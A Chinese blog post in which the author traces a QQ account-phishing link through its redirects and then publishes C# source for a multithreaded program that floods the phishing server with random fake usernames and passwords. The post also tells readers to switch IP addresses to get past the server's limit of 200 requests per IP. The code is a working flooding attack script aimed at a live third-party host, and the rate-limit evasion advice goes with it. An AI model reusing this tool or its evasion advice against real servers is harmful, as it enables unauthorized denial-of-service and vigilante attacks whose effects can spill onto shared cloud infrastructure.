前言

最近在QQ上看到朋友发到这个

经常玩QQ的应该都知道这个是盗号链接
最近又因为该死的新型肺炎吓得我不敢出门,所以....

开始

1.首先打开,看看他的真面目


woc还屏蔽电脑

2.那就..按F12,修改Chrome的UA


最终跳到的网址是:http把://文qq.字tclg.删net:掉88/

3.抓包,这里是用的是Fiddler

输入一个假账号密码
账号:244445555
密码:3344555433333334
http把://qq.文tclg.net字:88/jump删掉.php?u=244445555&p=3344555433333334
请求地址和参数一目了然
使用的工具会在下面提供
以下链接解释由Ljcbaby提供

跳转过程
https文字://url文字.cn/55XH1M7?79719975

跳转
https文字://m.文字tb.cn/v.WNgJDb
https文字://ff02-1300644280.文字cos-website.ap-beijing.myqcloud.com/getUrl.html#3651892?nsukey=aHR0cDovL3FxLnRjbGcubmV0Ojg4RGh0SjAzT3M=
http文字://ff06-1300644280.文字cos-website.ap-nanjing.myqcloud.com/agent.html?s=BU7KSy7JNHUL3EsjGJV8%2BuX3JQAbibyYTrOmkotTbtcuFCuZxsatELsuKcrOhoSJkDtuzlFgEO4uT2uoXkZ%2FqfjCwY5sm7Ral6T2jEyFWTk0W70n6YO0p7E1iU3OY0u5le3LWhNJgghNDBu6KOagSqOw2lG9QWtthZPMPqkV3mM7I1WnOZkOqCp0kTM7buZSgbMw&nsukey=aHR0cDovL3FxLnRjbGcubmV0Ojg4SFJ2bjMxTGY=
https文字://fw1.文字obs.cn-south-1.myhuaweicloud.com/agent.html?s=4G6S9eqp8k8WJ97tCi%2BoeEu0YEimJasObR98DuEdsxBOUFc7PQsHhhieHW9AJSUa9z%2FR%2BHm4zo1Z4LqxmEVbK7%2BJf5Uah7gHZu%2B59bEnSAbDTu5ulMuOs1O0IUzgTS7RG8eEtQQc%2Bl1xfMP%2FDvyEhiUBjpnUQQ7avQA6Yc0Xr9%2BwYvlH0WGWjLZSRxPK1z1ng57E&nsukey=aHR0cDovL3FxLnRjbGcubmV0Ojg4Z2s0TUlBOEw=
注意,腾讯云已经受理关闭了其中一个跳转链接!

结果页面
http文字://qq.文字tclg.net:88/

电脑302到错误页面
http文字://pub.文字idqqimg.com/qqmobile/client/ios/webview/loadfail.html

4.写程序,炸他!!!

在VS创建控制台程序......
源码:

using System;
using System.IO;
using System.Net;
using System.Text;
using System.Threading;

namespace Killer
{
    class Program
    {
        static bool IsReturn = false;

        static void Main(string[] args)
        {

            Console.WriteLine("Peter制作");
            int Process = 0;
            Console.WriteLine("请输入运行的线程数");

            try
            {
                Process=Convert.ToInt32(Console.ReadLine());
            }
            catch
            {
                Console.WriteLine("请输入数字,否则默认为20");
                try
                {
                    Process = Convert.ToInt32(Console.ReadLine());
                }
                catch
                {
                    Process = 20;
                }
            }
            
            kill kr = new kill();
            for(int times=0;times<=Process;times++)
            {
                Thread t1 = new Thread(new ThreadStart(kr.killer));
                t1.Start();
            }
                    

        }
        class kill
        {
            static Random R = new Random();

            public static long NextLong(long A, long B)
            {
                long myResult = A;
                //-----
                long Max = B, Min = A;
                if (A > B)
                {
                    Max = A;
                    Min = B;
                }
                double Key = R.NextDouble();
                myResult = Min + (long)((Max - Min) * Key);
                //-----
                return myResult;
            }
            private static char[] constant =
      {
        '0','1','2','3','4','5','6','7','8','9',
        'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
        'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'
      };


            public static string GenerateRandomNumber(int Length)
            {
                System.Text.StringBuilder newRandom = new System.Text.StringBuilder(62);
                Random rd = new Random();
                for (int i = 0; i < Length; i++)
                {
                    newRandom.Append(constant[rd.Next(62)]);
                }
                return newRandom.ToString();
            }


            static int sum = 0;
            public  void killer()
            {
                while (true)
                {
                    string user, password;
                    Random rd = new Random();

                    //user = Convert.ToString(rd.Next(100000000, 9999999999));
                    user = NextLong(1000000000,9999999999).ToString();   
                    password = GenerateRandomNumber(rd.Next(9,15));
                   try
                    {                                              
                            Get("https://api.zhantianxie.com/index.php", "https://api.zhantianxie.com/index.php?2222"); //https://www.7x24e.com/dnf.php?" + "u=" + user + "&p=" + password                    
                        lock (this)
                        {
                            sum++;
                            Console.WriteLine("已经注入" + sum + "次");
                        }
                    }
                    catch (Exception ex)
                   {
                       Console.WriteLine(ex);
                    }
               }
            }
            public static string Get(string url, string dic)
            {
                string str = "";
                StringBuilder builder = new StringBuilder();
                Stream responseStream = ((HttpWebResponse)((HttpWebRequest)WebRequest.Create(dic.ToString())).GetResponse()).GetResponseStream();
                try
                {
                    using (StreamReader reader = new StreamReader(responseStream))
                    {
                        str = reader.ReadToEnd();
                    }
                }
                finally
                {
                    responseStream.Close();
                }
                return str;
            }
            public  string Create(int length)
            {
                // 创建一个StringBuilder对象存储密码
                StringBuilder sb = new StringBuilder();
                //使用for循环把单个字符填充进StringBuilder对象里面变成14位密码字符串
                for (int i = 0; i < length; i++)
                {
                    Random random = new Random(Guid.NewGuid().GetHashCode());
                    //随机选择里面其中的一种字符生成
                    switch (random.Next(3))
                    {
                        case 0:
                            //调用生成生成随机数字的方法
                            sb.Append(createNum());
                            break;
                        case 1:
                            //调用生成生成随机小写字母的方法
                            sb.Append(createSmallAbc());
                            break;
                        case 2:
                            //调用生成生成随机大写字母的方法
                            sb.Append(createBigAbc());
                            break;
                    }
                }
                return sb.ToString();
            }
            /// <summary>
            /// 生成单个随机数字
            /// </summary>
            public int createNum()
            {
                Random random = new Random(Guid.NewGuid().GetHashCode());
                int num = random.Next(10);
                return num;
            }

            /// <summary>
            /// 生成单个大写随机字母
            /// </summary>
            public string createBigAbc()
            {
                //A-Z的 ASCII值为65-90
                Random random = new Random(Guid.NewGuid().GetHashCode());
                int num = random.Next(65, 91);
                string abc = Convert.ToChar(num).ToString();
                return abc;
            }

            /// <summary>
            /// 生成单个小写随机字母
            /// </summary>
            public  string createSmallAbc()
            {
                //a-z的 ASCII值为97-122
                Random random = new Random(Guid.NewGuid().GetHashCode());
                int num = random.Next(97, 123);
                string abc = Convert.ToChar(num).ToString();
                return abc;
            }

        }
    }
}

视频地址:
http://vwecam.gtimg.com/1006_f899652848074d76880dcf2581e78d23.f20.mp4?ptype=http&vkey=282C5CAD6809ED17E20B71D62C8FA6E6BCD96A4FEACA4717A667DCB2E41786059720C75A087AD19AFE811DA6DCC6E71D8871C9F009E84332&sdtfrom=v1000&owner=1801883707
注意,有些代码是前期使用的,但是为了以后使用方便所以没有删去!

开始!

但是对方的服务器已经进行了防护措施,所以一个IP只能快速刷200个,所以
换IP!!!

最后

相关工具和源码

最后

如果有什么意见和建议,欢迎在下方留言

Last modification:February 6th, 2020 at 06:43 pm
您的每次打赏,都是我更新的不竭动力!